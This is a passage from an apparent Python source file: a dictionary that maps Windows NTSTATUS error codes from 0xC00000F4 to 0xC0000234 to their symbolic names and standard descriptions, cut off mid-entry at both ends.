0xC00000F4: (\"STATUS_INVALID_PARAMETER_6\",\"An invalid parameter was passed to a service or function as the sixth argument.\"),\n        0xC00000F5: (\"STATUS_INVALID_PARAMETER_7\",\"An invalid parameter was passed to a service or function as the seventh argument.\"),\n        0xC00000F6: (\"STATUS_INVALID_PARAMETER_8\",\"An invalid parameter was passed to a service or function as the eighth argument.\"),\n        0xC00000F7: (\"STATUS_INVALID_PARAMETER_9\",\"An invalid parameter was passed to a service or function as the ninth argument.\"),\n        0xC00000F8: (\"STATUS_INVALID_PARAMETER_10\",\"An invalid parameter was passed to a service or function as the tenth argument.\"),\n        0xC00000F9: (\"STATUS_INVALID_PARAMETER_11\",\"An invalid parameter was passed to a service or function as the eleventh argument.\"),\n        0xC00000FA: (\"STATUS_INVALID_PARAMETER_12\",\"An invalid parameter was passed to a service or function as the twelfth argument.\"),\n        0xC00000FB: (\"STATUS_REDIRECTOR_NOT_STARTED\",\"An attempt was made to access a network file, but the network software was not yet started.\"),\n        0xC00000FC: (\"STATUS_REDIRECTOR_STARTED\",\"An attempt was made to start the redirector, but the redirector has already been started.\"),\n        0xC00000FD: (\"STATUS_STACK_OVERFLOW\",\"A new guard page for the stack cannot be created.\"),\n        0xC00000FE: (\"STATUS_NO_SUCH_PACKAGE\",\"A specified authentication package is unknown.\"),\n        0xC00000FF: (\"STATUS_BAD_FUNCTION_TABLE\",\"A malformed function table was encountered during an unwind operation.\"),\n        0xC0000100: (\"STATUS_VARIABLE_NOT_FOUND\",\"Indicates the specified environment variable name was not found in the specified environment block.\"),\n        0xC0000101: (\"STATUS_DIRECTORY_NOT_EMPTY\",\"Indicates that the directory trying to be deleted is not empty.\"),\n        0xC0000102: (\"STATUS_FILE_CORRUPT_ERROR\",\"{Corrupt File} The file or directory %hs is corrupt and unreadable. Run the Chkdsk utility.\"),\n        0xC0000103: (\"STATUS_NOT_A_DIRECTORY\",\"A requested opened file is not a directory.\"),\n        0xC0000104: (\"STATUS_BAD_LOGON_SESSION_STATE\",\"The logon session is not in a state that is consistent with the requested operation.\"),\n        0xC0000105: (\"STATUS_LOGON_SESSION_COLLISION\",\"An internal LSA error has occurred. An authentication package has requested the creation of a logon session but the ID of an already existing logon session has been specified.\"),\n        0xC0000106: (\"STATUS_NAME_TOO_LONG\",\"A specified name string is too long for its intended use.\"),\n        0xC0000107: (\"STATUS_FILES_OPEN\",\"The user attempted to force close the files on a redirected drive, but there were opened files on the drive, and the user did not specify a sufficient level of force.\"),\n        0xC0000108: (\"STATUS_CONNECTION_IN_USE\",\"The user attempted to force close the files on a redirected drive, but there were opened directories on the drive, and the user did not specify a sufficient level of force.\"),\n        0xC0000109: (\"STATUS_MESSAGE_NOT_FOUND\",\"RtlFindMessage could not locate the requested message ID in the message table resource.\"),\n        0xC000010A: (\"STATUS_PROCESS_IS_TERMINATING\",\"An attempt was made to duplicate an object handle into or out of an exiting process.\"),\n        0xC000010B: (\"STATUS_INVALID_LOGON_TYPE\",\"Indicates an invalid value has been provided for the LogonType requested.\"),\n        0xC000010C: (\"STATUS_NO_GUID_TRANSLATION\",\"Indicates that an attempt was made to assign protection to a file system file or directory and one of the SIDs in the security descriptor could not be translated into a GUID that could be stored by the file system. This causes the protection attempt to fail, which may cause a file creation attempt to fail.\"),\n        0xC000010D: (\"STATUS_CANNOT_IMPERSONATE\",\"Indicates that an attempt has been made to impersonate via a named pipe that has not yet been read from.\"),\n        0xC000010E: (\"STATUS_IMAGE_ALREADY_LOADED\",\"Indicates that the specified image is already loaded.\"),\n        0xC0000117: (\"STATUS_NO_LDT\",\"Indicates that an attempt was made to change the size of the LDT for a process that has no LDT.\"),\n        0xC0000118: (\"STATUS_INVALID_LDT_SIZE\",\"Indicates that an attempt was made to grow an LDT by setting its size, or that the size was not an even number of selectors.\"),\n        0xC0000119: (\"STATUS_INVALID_LDT_OFFSET\",\"Indicates that the starting value for the LDT information was not an integral multiple of the selector size.\"),\n        0xC000011A: (\"STATUS_INVALID_LDT_DESCRIPTOR\",\"Indicates that the user supplied an invalid descriptor when trying to set up LDT descriptors.\"),\n        0xC000011B: (\"STATUS_INVALID_IMAGE_NE_FORMAT\",\"The specified image file did not have the correct format. It appears to be NE format.\"),\n        0xC000011C: (\"STATUS_RXACT_INVALID_STATE\",\"Indicates that the transaction state of a registry subtree is incompatible with the requested operation. For example, a request has been made to start a new transaction with one already in progress, or a request has been made to apply a transaction when one is not currently in progress.\"),\n        0xC000011D: (\"STATUS_RXACT_COMMIT_FAILURE\",\"Indicates an error has occurred during a registry transaction commit. The database has been left in an unknown, but probably inconsistent, state. The state of the registry transaction is left as COMMITTING.\"),\n        0xC000011E: (\"STATUS_MAPPED_FILE_SIZE_ZERO\",\"An attempt was made to map a file of size zero with the maximum size specified as zero.\"),\n        0xC000011F: (\"STATUS_TOO_MANY_OPENED_FILES\",\"Too many files are opened on a remote server. This error should only be returned by the Windows redirector on a remote drive.\"),\n        0xC0000120: (\"STATUS_CANCELLED\",\"The I/O request was canceled.\"),\n        0xC0000121: (\"STATUS_CANNOT_DELETE\",\"An attempt has been made to remove a file or directory that cannot be deleted.\"),\n        0xC0000122: (\"STATUS_INVALID_COMPUTER_NAME\",\"Indicates a name that was specified as a remote computer name is syntactically invalid.\"),\n        0xC0000123: (\"STATUS_FILE_DELETED\",\"An I/O request other than close was performed on a file after it was deleted, which can only happen to a request that did not complete before the last handle was closed via NtClose.\"),\n        0xC0000124: (\"STATUS_SPECIAL_ACCOUNT\",\"Indicates an operation that is incompatible with built-in accounts has been attempted on a built-in (special) SAM account. For example, built-in accounts cannot be deleted.\"),\n        0xC0000125: (\"STATUS_SPECIAL_GROUP\",\"The operation requested may not be performed on the specified group because it is a built-in special group.\"),\n        0xC0000126: (\"STATUS_SPECIAL_USER\",\"The operation requested may not be performed on the specified user because it is a built-in special user.\"),\n        0xC0000127: (\"STATUS_MEMBERS_PRIMARY_GROUP\",\"Indicates a member cannot be removed from a group because the group is currently the member's primary group.\"),\n        0xC0000128: (\"STATUS_FILE_CLOSED\",\"An I/O request other than close and several other special case operations was attempted using a file object that had already been closed.\"),\n        0xC0000129: (\"STATUS_TOO_MANY_THREADS\",\"Indicates a process has too many threads to perform the requested action. For example, assignment of a primary token may only be performed when a process has zero or one threads.\"),\n        0xC000012A: (\"STATUS_THREAD_NOT_IN_PROCESS\",\"An attempt was made to operate on a thread within a specific process, but the specified thread is not in the specified process.\"),\n        0xC000012B: (\"STATUS_TOKEN_ALREADY_IN_USE\",\"An attempt was made to establish a token for use as a primary token but the token is already in use. A token can only be the primary token of one process at a time.\"),\n        0xC000012C: (\"STATUS_PAGEFILE_QUOTA_EXCEEDED\",\"The page file quota was exceeded.\"),\n        0xC000012D: (\"STATUS_COMMITMENT_LIMIT\",\"{Out of Virtual Memory} Your system is low on virtual memory. To ensure that Windows runs correctly, increase the size of your virtual memory paging file. For more information, see Help.\"),\n        0xC000012E: (\"STATUS_INVALID_IMAGE_LE_FORMAT\",\"The specified image file did not have the correct format: it appears to be LE format.\"),\n        0xC000012F: (\"STATUS_INVALID_IMAGE_NOT_MZ\",\"The specified image file did not have the correct format: it did not have an initial MZ.\"),\n        0xC0000130: (\"STATUS_INVALID_IMAGE_PROTECT\",\"The specified image file did not have the correct format: it did not have a proper e_lfarlc in the MZ header.\"),\n        0xC0000131: (\"STATUS_INVALID_IMAGE_WIN_16\",\"The specified image file did not have the correct format: it appears to be a 16-bit Windows image.\"),\n        0xC0000132: (\"STATUS_LOGON_SERVER_CONFLICT\",\"The Netlogon service cannot start because another Netlogon service running in the domain conflicts with the specified role.\"),\n        0xC0000133: (\"STATUS_TIME_DIFFERENCE_AT_DC\",\"The time at the primary domain controller is different from the time at the backup domain controller or member server by too large an amount.\"),\n        0xC0000134: (\"STATUS_SYNCHRONIZATION_REQUIRED\",\"The SAM database on a Windows Server is significantly out of synchronization with the copy on the domain controller. A complete synchronization is required.\"),\n        0xC0000135: (\"STATUS_DLL_NOT_FOUND\",\"{Unable To Locate Component} This application has failed to start because %hs was not found. Reinstalling the application may fix this problem.\"),\n        0xC0000136: (\"STATUS_OPEN_FAILED\",\"The NtCreateFile API failed. This error should never be returned to an application; it is a place holder for the Windows LAN Manager Redirector to use in its internal error-mapping routines.\"),\n        0xC0000137: (\"STATUS_IO_PRIVILEGE_FAILED\",\"{Privilege Failed} The I/O permissions for the process could not be changed.\"),\n        0xC0000138: (\"STATUS_ORDINAL_NOT_FOUND\",\"{Ordinal Not Found} The ordinal %ld could not be located in the dynamic link library %hs.\"),\n        0xC0000139: (\"STATUS_ENTRYPOINT_NOT_FOUND\",\"{Entry Point Not Found} The procedure entry point %hs could not be located in the dynamic link library %hs.\"),\n        0xC000013A: (\"STATUS_CONTROL_C_EXIT\",\"{Application Exit by CTRL+C} The application terminated as a result of a CTRL+C.\"),\n        0xC000013B: (\"STATUS_LOCAL_DISCONNECT\",\"{Virtual Circuit Closed} The network transport on your computer has closed a network connection. There may or may not be I/O requests outstanding.\"),\n        0xC000013C: (\"STATUS_REMOTE_DISCONNECT\",\"{Virtual Circuit Closed} The network transport on a remote computer has closed a network connection. There may or may not be I/O requests outstanding.\"),\n        0xC000013D: (\"STATUS_REMOTE_RESOURCES\",\"{Insufficient Resources on Remote Computer} The remote computer has insufficient resources to complete the network request. For example, the remote computer may not have enough available memory to carry out the request at this time.\"),\n        0xC000013E: (\"STATUS_LINK_FAILED\",\"{Virtual Circuit Closed} An existing connection (virtual circuit) has been broken at the remote computer. There is probably something wrong with the network software protocol or the network hardware on the remote computer.\"),\n        0xC000013F: (\"STATUS_LINK_TIMEOUT\",\"{Virtual Circuit Closed} The network transport on your computer has closed a network connection because it had to wait too long for a response from the remote computer.\"),\n        0xC0000140: (\"STATUS_INVALID_CONNECTION\",\"The connection handle that was given to the transport was invalid.\"),\n        0xC0000141: (\"STATUS_INVALID_ADDRESS\",\"The address handle that was given to the transport was invalid.\"),\n        0xC0000142: (\"STATUS_DLL_INIT_FAILED\",\"{DLL Initialization Failed} Initialization of the dynamic link library %hs failed. The process is terminating abnormally.\"),\n        0xC0000143: (\"STATUS_MISSING_SYSTEMFILE\",\"{Missing System File} The required system file %hs is bad or missing.\"),\n        0xC0000144: (\"STATUS_UNHANDLED_EXCEPTION\",\"{Application Error} The exception %s (0x%08lx) occurred in the application at location 0x%08lx.\"),\n        0xC0000145: (\"STATUS_APP_INIT_FAILURE\",\"{Application Error} The application failed to initialize properly (0x%lx). Click OK to terminate the application.\"),\n        0xC0000146: (\"STATUS_PAGEFILE_CREATE_FAILED\",\"{Unable to Create Paging File} The creation of the paging file %hs failed (%lx). The requested size was %ld.\"),\n        0xC0000147: (\"STATUS_NO_PAGEFILE\",\"{No Paging File Specified} No paging file was specified in the system configuration.\"),\n        0xC0000148: (\"STATUS_INVALID_LEVEL\",\"{Incorrect System Call Level} An invalid level was passed into the specified system call.\"),\n        0xC0000149: (\"STATUS_WRONG_PASSWORD_CORE\",\"{Incorrect Password to LAN Manager Server} You specified an incorrect password to a LAN Manager 2.x or MS-NET server.\"),\n        0xC000014A: (\"STATUS_ILLEGAL_FLOAT_CONTEXT\",\"{EXCEPTION} A real-mode application issued a floating-point instruction and floating-point hardware is not present.\"),\n        0xC000014B: (\"STATUS_PIPE_BROKEN\",\"The pipe operation has failed because the other end of the pipe has been closed.\"),\n        0xC000014C: (\"STATUS_REGISTRY_CORRUPT\",\"{The Registry Is Corrupt} The structure of one of the files that contains registry data is corrupt; the image of the file in memory is corrupt; or the file could not be recovered because the alternate copy or log was absent or corrupt.\"),\n        0xC000014D: (\"STATUS_REGISTRY_IO_FAILED\",\"An I/O operation initiated by the Registry failed and cannot be recovered. The registry could not read in, write out, or flush one of the files that contain the system's image of the registry.\"),\n        0xC000014E: (\"STATUS_NO_EVENT_PAIR\",\"An event pair synchronization operation was performed using the thread-specific client/server event pair object, but no event pair object was associated with the thread.\"),\n        0xC000014F: (\"STATUS_UNRECOGNIZED_VOLUME\",\"The volume does not contain a recognized file system. Be sure that all required file system drivers are loaded and that the volume is not corrupt.\"),\n        0xC0000150: (\"STATUS_SERIAL_NO_DEVICE_INITED\",\"No serial device was successfully initialized. The serial driver will unload.\"),\n        0xC0000151: (\"STATUS_NO_SUCH_ALIAS\",\"The specified local group does not exist.\"),\n        0xC0000152: (\"STATUS_MEMBER_NOT_IN_ALIAS\",\"The specified account name is not a member of the group.\"),\n        0xC0000153: (\"STATUS_MEMBER_IN_ALIAS\",\"The specified account name is already a member of the group.\"),\n        0xC0000154: (\"STATUS_ALIAS_EXISTS\",\"The specified local group already exists.\"),\n        0xC0000155: (\"STATUS_LOGON_NOT_GRANTED\",\"A requested type of logon (for example, interactive, network, and service) is not granted by the local security policy of the target system. Ask the system administrator to grant the necessary form of logon.\"),\n        0xC0000156: (\"STATUS_TOO_MANY_SECRETS\",\"The maximum number of secrets that may be stored in a single system was exceeded. The length and number of secrets is limited to satisfy U.S. State Department export restrictions.\"),\n        0xC0000157: (\"STATUS_SECRET_TOO_LONG\",\"The length of a secret exceeds the maximum allowable length. The length and number of secrets is limited to satisfy U.S. State Department export restrictions.\"),\n        0xC0000158: (\"STATUS_INTERNAL_DB_ERROR\",\"The local security authority (LSA) database contains an internal inconsistency.\"),\n        0xC0000159: (\"STATUS_FULLSCREEN_MODE\",\"The requested operation cannot be performed in full-screen mode.\"),\n        0xC000015A: (\"STATUS_TOO_MANY_CONTEXT_IDS\",\"During a logon attempt, the user's security context accumulated too many security IDs. This is a very unusual situation. Remove the user from some global or local groups to reduce the number of security IDs to incorporate into the security context.\"),\n        0xC000015B: (\"STATUS_LOGON_TYPE_NOT_GRANTED\",\"A user has requested a type of logon (for example, interactive or network) that has not been granted. An administrator has control over who may logon interactively and through the network.\"),\n        0xC000015C: (\"STATUS_NOT_REGISTRY_FILE\",\"The system has attempted to load or restore a file into the registry, and the specified file is not in the format of a registry file.\"),\n        0xC000015D: (\"STATUS_NT_CROSS_ENCRYPTION_REQUIRED\",\"An attempt was made to change a user password in the security account manager without providing the necessary Windows cross-encrypted password.\"),\n        0xC000015E: (\"STATUS_DOMAIN_CTRLR_CONFIG_ERROR\",\"A Windows Server has an incorrect configuration.\"),\n        0xC000015F: (\"STATUS_FT_MISSING_MEMBER\",\"An attempt was made to explicitly access the secondary copy of information via a device control to the fault tolerance driver and the secondary copy is not present in the system.\"),\n        0xC0000160: (\"STATUS_ILL_FORMED_SERVICE_ENTRY\",\"A configuration registry node that represents a driver service entry was ill-formed and did not contain the required value entries.\"),\n        0xC0000161: (\"STATUS_ILLEGAL_CHARACTER\",\"An illegal character was encountered. For a multibyte character set, this includes a lead byte without a succeeding trail byte. For the Unicode character set this includes the characters 0xFFFF and 0xFFFE.\"),\n        0xC0000162: (\"STATUS_UNMAPPABLE_CHARACTER\",\"No mapping for the Unicode character exists in the target multibyte code page.\"),\n        0xC0000163: (\"STATUS_UNDEFINED_CHARACTER\",\"The Unicode character is not defined in the Unicode character set that is installed on the system.\"),\n        0xC0000164: (\"STATUS_FLOPPY_VOLUME\",\"The paging file cannot be created on a floppy disk.\"),\n        0xC0000165: (\"STATUS_FLOPPY_ID_MARK_NOT_FOUND\",\"{Floppy Disk Error} While accessing a floppy disk, an ID address mark was not found.\"),\n        0xC0000166: (\"STATUS_FLOPPY_WRONG_CYLINDER\",\"{Floppy Disk Error} While accessing a floppy disk, the track address from the sector ID field was found to be different from the track address that is maintained by the controller.\"),\n        0xC0000167: (\"STATUS_FLOPPY_UNKNOWN_ERROR\",\"{Floppy Disk Error} The floppy disk controller reported an error that is not recognized by the floppy disk driver.\"),\n        0xC0000168: (\"STATUS_FLOPPY_BAD_REGISTERS\",\"{Floppy Disk Error} While accessing a floppy-disk, the controller returned inconsistent results via its registers.\"),\n        0xC0000169: (\"STATUS_DISK_RECALIBRATE_FAILED\",\"{Hard Disk Error} While accessing the hard disk, a recalibrate operation failed, even after retries.\"),\n        0xC000016A: (\"STATUS_DISK_OPERATION_FAILED\",\"{Hard Disk Error} While accessing the hard disk, a disk operation failed even after retries.\"),\n        0xC000016B: (\"STATUS_DISK_RESET_FAILED\",\"{Hard Disk Error} While accessing the hard disk, a disk controller reset was needed, but even that failed.\"),\n        0xC000016C: (\"STATUS_SHARED_IRQ_BUSY\",\"An attempt was made to open a device that was sharing an interrupt request (IRQ) with other devices. At least one other device that uses that IRQ was already opened. Two concurrent opens of devices that share an IRQ and only work via interrupts is not supported for the particular bus type that the devices use.\"),\n        0xC000016D: (\"STATUS_FT_ORPHANING\",\"{FT Orphaning} A disk that is part of a fault-tolerant volume can no longer be accessed.\"),\n        0xC000016E: (\"STATUS_BIOS_FAILED_TO_CONNECT_INTERRUPT\",\"The basic input/output system (BIOS) failed to connect a system interrupt to the device or bus for which the device is connected.\"),\n        0xC0000172: (\"STATUS_PARTITION_FAILURE\",\"The tape could not be partitioned.\"),\n        0xC0000173: (\"STATUS_INVALID_BLOCK_LENGTH\",\"When accessing a new tape of a multi-volume partition, the current blocksize is incorrect.\"),\n        0xC0000174: (\"STATUS_DEVICE_NOT_PARTITIONED\",\"The tape partition information could not be found when loading a tape.\"),\n        0xC0000175: (\"STATUS_UNABLE_TO_LOCK_MEDIA\",\"An attempt to lock the eject media mechanism failed.\"),\n        0xC0000176: (\"STATUS_UNABLE_TO_UNLOAD_MEDIA\",\"An attempt to unload media failed.\"),\n        0xC0000177: (\"STATUS_EOM_OVERFLOW\",\"The physical end of tape was detected.\"),\n        0xC0000178: (\"STATUS_NO_MEDIA\",\"{No Media} There is no media in the drive. Insert media into drive %hs.\"),\n        0xC000017A: (\"STATUS_NO_SUCH_MEMBER\",\"A member could not be added to or removed from the local group because the member does not exist.\"),\n        0xC000017B: (\"STATUS_INVALID_MEMBER\",\"A new member could not be added to a local group because the member has the wrong account type.\"),\n        0xC000017C: (\"STATUS_KEY_DELETED\",\"An illegal operation was attempted on a registry key that has been marked for deletion.\"),\n        0xC000017D: (\"STATUS_NO_LOG_SPACE\",\"The system could not allocate the required space in a registry log.\"),\n        0xC000017E: (\"STATUS_TOO_MANY_SIDS\",\"Too many SIDs have been specified.\"),\n        0xC000017F: (\"STATUS_LM_CROSS_ENCRYPTION_REQUIRED\",\"An attempt was made to change a user password in the security account manager without providing the necessary LM cross-encrypted password.\"),\n        0xC0000180: (\"STATUS_KEY_HAS_CHILDREN\",\"An attempt was made to create a symbolic link in a registry key that already has subkeys or values.\"),\n        0xC0000181: (\"STATUS_CHILD_MUST_BE_VOLATILE\",\"An attempt was made to create a stable subkey under a volatile parent key.\"),\n        0xC0000182: (\"STATUS_DEVICE_CONFIGURATION_ERROR\",\"The I/O device is configured incorrectly or the configuration parameters to the driver are incorrect.\"),\n        0xC0000183: (\"STATUS_DRIVER_INTERNAL_ERROR\",\"An error was detected between two drivers or within an I/O driver.\"),\n        0xC0000184: (\"STATUS_INVALID_DEVICE_STATE\",\"The device is not in a valid state to perform this request.\"),\n        0xC0000185: (\"STATUS_IO_DEVICE_ERROR\",\"The I/O device reported an I/O error.\"),\n        0xC0000186: (\"STATUS_DEVICE_PROTOCOL_ERROR\",\"A protocol error was detected between the driver and the device.\"),\n        0xC0000187: (\"STATUS_BACKUP_CONTROLLER\",\"This operation is only allowed for the primary domain controller of the domain.\"),\n        0xC0000188: (\"STATUS_LOG_FILE_FULL\",\"The log file space is insufficient to support this operation.\"),\n        0xC0000189: (\"STATUS_TOO_LATE\",\"A write operation was attempted to a volume after it was dismounted.\"),\n        0xC000018A: (\"STATUS_NO_TRUST_LSA_SECRET\",\"The workstation does not have a trust secret for the primary domain in the local LSA database.\"),\n        0xC000018B: (\"STATUS_NO_TRUST_SAM_ACCOUNT\",\"The SAM database on the Windows Server does not have a computer account for this workstation trust relationship.\"),\n        0xC000018C: (\"STATUS_TRUSTED_DOMAIN_FAILURE\",\"The logon request failed because the trust relationship between the primary domain and the trusted domain failed.\"),\n        0xC000018D: (\"STATUS_TRUSTED_RELATIONSHIP_FAILURE\",\"The logon request failed because the trust relationship between this workstation and the primary domain failed.\"),\n        0xC000018E: (\"STATUS_EVENTLOG_FILE_CORRUPT\",\"The Eventlog log file is corrupt.\"),\n        0xC000018F: (\"STATUS_EVENTLOG_CANT_START\",\"No Eventlog log file could be opened. The Eventlog service did not start.\"),\n        0xC0000190: (\"STATUS_TRUST_FAILURE\",\"The network logon failed. This may be because the validation authority cannot be reached.\"),\n        0xC0000191: (\"STATUS_MUTANT_LIMIT_EXCEEDED\",\"An attempt was made to acquire a mutant such that its maximum count would have been exceeded.\"),\n        0xC0000192: (\"STATUS_NETLOGON_NOT_STARTED\",\"An attempt was made to logon, but the NetLogon service was not started.\"),\n        0xC0000193: (\"STATUS_ACCOUNT_EXPIRED\",\"The user account has expired.\"),\n        0xC0000194: (\"STATUS_POSSIBLE_DEADLOCK\",\"{EXCEPTION} Possible deadlock condition.\"),\n        0xC0000195: (\"STATUS_NETWORK_CREDENTIAL_CONFLICT\",\"Multiple connections to a server or shared resource by the same user, using more than one user name, are not allowed. Disconnect all previous connections to the server or shared resource and try again.\"),\n        0xC0000196: (\"STATUS_REMOTE_SESSION_LIMIT\",\"An attempt was made to establish a session to a network server, but there are already too many sessions established to that server.\"),\n        0xC0000197: (\"STATUS_EVENTLOG_FILE_CHANGED\",\"The log file has changed between reads.\"),\n        0xC0000198: (\"STATUS_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT\",\"The account used is an interdomain trust account. Use your global user account or local user account to access this server.\"),\n        0xC0000199: (\"STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT\",\"The account used is a computer account. Use your global user account or local user account to access this server.\"),\n        0xC000019A: (\"STATUS_NOLOGON_SERVER_TRUST_ACCOUNT\",\"The account used is a server trust account. Use your global user account or local user account to access this server.\"),\n        0xC000019B: (\"STATUS_DOMAIN_TRUST_INCONSISTENT\",\"The name or SID of the specified domain is inconsistent with the trust information for that domain.\"),\n        0xC000019C: (\"STATUS_FS_DRIVER_REQUIRED\",\"A volume has been accessed for which a file system driver is required that has not yet been loaded.\"),\n        0xC000019D: (\"STATUS_IMAGE_ALREADY_LOADED_AS_DLL\",\"Indicates that the specified image is already loaded as a DLL.\"),\n        0xC000019E: (\"STATUS_INCOMPATIBLE_WITH_GLOBAL_SHORT_NAME_REGISTRY_SETTING\",\"Short name settings may not be changed on this volume due to the global registry setting.\"),\n        0xC000019F: (\"STATUS_SHORT_NAMES_NOT_ENABLED_ON_VOLUME\",\"Short names are not enabled on this volume.\"),\n        0xC00001A0: (\"STATUS_SECURITY_STREAM_IS_INCONSISTENT\",\"The security stream for the given volume is in an inconsistent state. Please run CHKDSK on the volume.\"),\n        0xC00001A1: (\"STATUS_INVALID_LOCK_RANGE\",\"A requested file lock operation cannot be processed due to an invalid byte range.\"),\n        0xC00001A2: (\"STATUS_INVALID_ACE_CONDITION\",\"The specified access control entry (ACE) contains an invalid condition.\"),\n        0xC00001A3: (\"STATUS_IMAGE_SUBSYSTEM_NOT_PRESENT\",\"The subsystem needed to support the image type is not present.\"),\n        0xC00001A4: (\"STATUS_NOTIFICATION_GUID_ALREADY_DEFINED\",\"The specified file already has a notification GUID associated with it.\"),\n        0xC0000201: (\"STATUS_NETWORK_OPEN_RESTRICTION\",\"A remote open failed because the network open restrictions were not satisfied.\"),\n        0xC0000202: (\"STATUS_NO_USER_SESSION_KEY\",\"There is no user session key for the specified logon session.\"),\n        0xC0000203: (\"STATUS_USER_SESSION_DELETED\",\"The remote user session has been deleted.\"),\n        0xC0000204: (\"STATUS_RESOURCE_LANG_NOT_FOUND\",\"Indicates the specified resource language ID cannot be found in the image file.\"),\n        0xC0000205: (\"STATUS_INSUFF_SERVER_RESOURCES\",\"Insufficient server resources exist to complete the request.\"),\n        0xC0000206: (\"STATUS_INVALID_BUFFER_SIZE\",\"The size of the buffer is invalid for the specified operation.\"),\n        0xC0000207: (\"STATUS_INVALID_ADDRESS_COMPONENT\",\"The transport rejected the specified network address as invalid.\"),\n        0xC0000208: (\"STATUS_INVALID_ADDRESS_WILDCARD\",\"The transport rejected the specified network address due to invalid use of a wildcard.\"),\n        0xC0000209: (\"STATUS_TOO_MANY_ADDRESSES\",\"The transport address could not be opened because all the available addresses are in use.\"),\n        0xC000020A: (\"STATUS_ADDRESS_ALREADY_EXISTS\",\"The transport address could not be opened because it already exists.\"),\n        0xC000020B: (\"STATUS_ADDRESS_CLOSED\",\"The transport address is now closed.\"),\n        0xC000020C: (\"STATUS_CONNECTION_DISCONNECTED\",\"The transport connection is now disconnected.\"),\n        0xC000020D: (\"STATUS_CONNECTION_RESET\",\"The transport connection has been reset.\"),\n        0xC000020E: (\"STATUS_TOO_MANY_NODES\",\"The transport cannot dynamically acquire any more nodes.\"),\n        0xC000020F: (\"STATUS_TRANSACTION_ABORTED\",\"The transport aborted a pending transaction.\"),\n        0xC0000210: (\"STATUS_TRANSACTION_TIMED_OUT\",\"The transport timed out a request that is waiting for a response.\"),\n        0xC0000211: (\"STATUS_TRANSACTION_NO_RELEASE\",\"The transport did not receive a release for a pending response.\"),\n        0xC0000212: (\"STATUS_TRANSACTION_NO_MATCH\",\"The transport did not find a transaction that matches the specific token.\"),\n        0xC0000213: (\"STATUS_TRANSACTION_RESPONDED\",\"The transport had previously responded to a transaction request.\"),\n        0xC0000214: (\"STATUS_TRANSACTION_INVALID_ID\",\"The transport does not recognize the specified transaction request ID.\"),\n        0xC0000215: (\"STATUS_TRANSACTION_INVALID_TYPE\",\"The transport does not recognize the specified transaction request type.\"),\n        0xC0000216: (\"STATUS_NOT_SERVER_SESSION\",\"The transport can only process the specified request on the server side of a session.\"),\n        0xC0000217: (\"STATUS_NOT_CLIENT_SESSION\",\"The transport can only process the specified request on the client side of a session.\"),\n        0xC0000218: (\"STATUS_CANNOT_LOAD_REGISTRY_FILE\",\"{Registry File Failure} The registry cannot load the hive (file): %hs or its log or alternate. It is corrupt, absent, or not writable.\"),\n        0xC0000219: (\"STATUS_DEBUG_ATTACH_FAILED\",\"{Unexpected Failure in DebugActiveProcess} An unexpected failure occurred while processing a DebugActiveProcess API request. You may choose OK to terminate the process, or Cancel to ignore the error.\"),\n        0xC000021A: (\"STATUS_SYSTEM_PROCESS_TERMINATED\",\"{Fatal System Error} The %hs system process terminated unexpectedly with a status of 0x%08x (0x%08x 0x%08x). The system has been shut down.\"),\n        0xC000021B: (\"STATUS_DATA_NOT_ACCEPTED\",\"{Data Not Accepted} The TDI client could not handle the data received during an indication.\"),\n        0xC000021C: (\"STATUS_NO_BROWSER_SERVERS_FOUND\",\"{Unable to Retrieve Browser Server List} The list of servers for this workgroup is not currently available.\"),\n        0xC000021D: (\"STATUS_VDM_HARD_ERROR\",\"NTVDM encountered a hard error.\"),\n        0xC000021E: (\"STATUS_DRIVER_CANCEL_TIMEOUT\",\"{Cancel Timeout} The driver %hs failed to complete a canceled I/O request in the allotted time.\"),\n        0xC000021F: (\"STATUS_REPLY_MESSAGE_MISMATCH\",\"{Reply Message Mismatch} An attempt was made to reply to an LPC message, but the thread specified by the client ID in the message was not waiting on that message.\"),\n        0xC0000220: (\"STATUS_MAPPED_ALIGNMENT\",\"{Mapped View Alignment Incorrect} An attempt was made to map a view of a file, but either the specified base address or the offset into the file were not aligned on the proper allocation granularity.\"),\n        0xC0000221: (\"STATUS_IMAGE_CHECKSUM_MISMATCH\",\"{Bad Image Checksum} The image %hs is possibly corrupt. The header checksum does not match the computed checksum.\"),\n        0xC0000222: (\"STATUS_LOST_WRITEBEHIND_DATA\",\"{Delayed Write Failed} Windows was unable to save all the data for the file %hs. The data has been lost. This error may be caused by a failure of your computer hardware or network connection. Try to save this file elsewhere.\"),\n        0xC0000223: (\"STATUS_CLIENT_SERVER_PARAMETERS_INVALID\",\"The parameters passed to the server in the client/server shared memory window were invalid. Too much data may have been put in the shared memory window.\"),\n        0xC0000224: (\"STATUS_PASSWORD_MUST_CHANGE\",\"The user password must be changed before logging on the first time.\"),\n        0xC0000225: (\"STATUS_NOT_FOUND\",\"The object was not found.\"),\n        0xC0000226: (\"STATUS_NOT_TINY_STREAM\",\"The stream is not a tiny stream.\"),\n        0xC0000227: (\"STATUS_RECOVERY_FAILURE\",\"A transaction recovery failed.\"),\n        0xC0000228: (\"STATUS_STACK_OVERFLOW_READ\",\"The request must be handled by the stack overflow code.\"),\n        0xC0000229: (\"STATUS_FAIL_CHECK\",\"A consistency check failed.\"),\n        0xC000022A: (\"STATUS_DUPLICATE_OBJECTID\",\"The attempt to insert the ID in the index failed because the ID is already in the index.\"),\n        0xC000022B: (\"STATUS_OBJECTID_EXISTS\",\"The attempt to set the object ID failed because the object already has an ID.\"),\n        0xC000022C: (\"STATUS_CONVERT_TO_LARGE\",\"Internal OFS status codes indicating how an allocation operation is handled. Either it is retried after the containing oNode is moved or the extent stream is converted to a large stream.\"),\n        0xC000022D: (\"STATUS_RETRY\",\"The request needs to be retried.\"),\n        0xC000022E: (\"STATUS_FOUND_OUT_OF_SCOPE\",\"The attempt to find the object found an object on the volume that matches by ID; however, it is out of the scope of the handle that is used for the operation.\"),\n        0xC000022F: (\"STATUS_ALLOCATE_BUCKET\",\"The bucket array must be grown. Retry the transaction after doing so.\"),\n        0xC0000230: (\"STATUS_PROPSET_NOT_FOUND\",\"The specified property set does not exist on the object.\"),\n        0xC0000231: (\"STATUS_MARSHALL_OVERFLOW\",\"The user/kernel marshaling buffer has overflowed.\"),\n        0xC0000232: (\"STATUS_INVALID_VARIANT\",\"The supplied variant structure contains invalid data.\"),\n        0xC0000233: (\"STATUS_DOMAIN_CONTROLLER_NOT_FOUND\",\"A domain controller for this domain was not found.\"),\n        0xC0000234: (\"STATUS_ACCOUNT_LOCKED_OUT\",\"The user account has been automatically locked because too many invalid logon 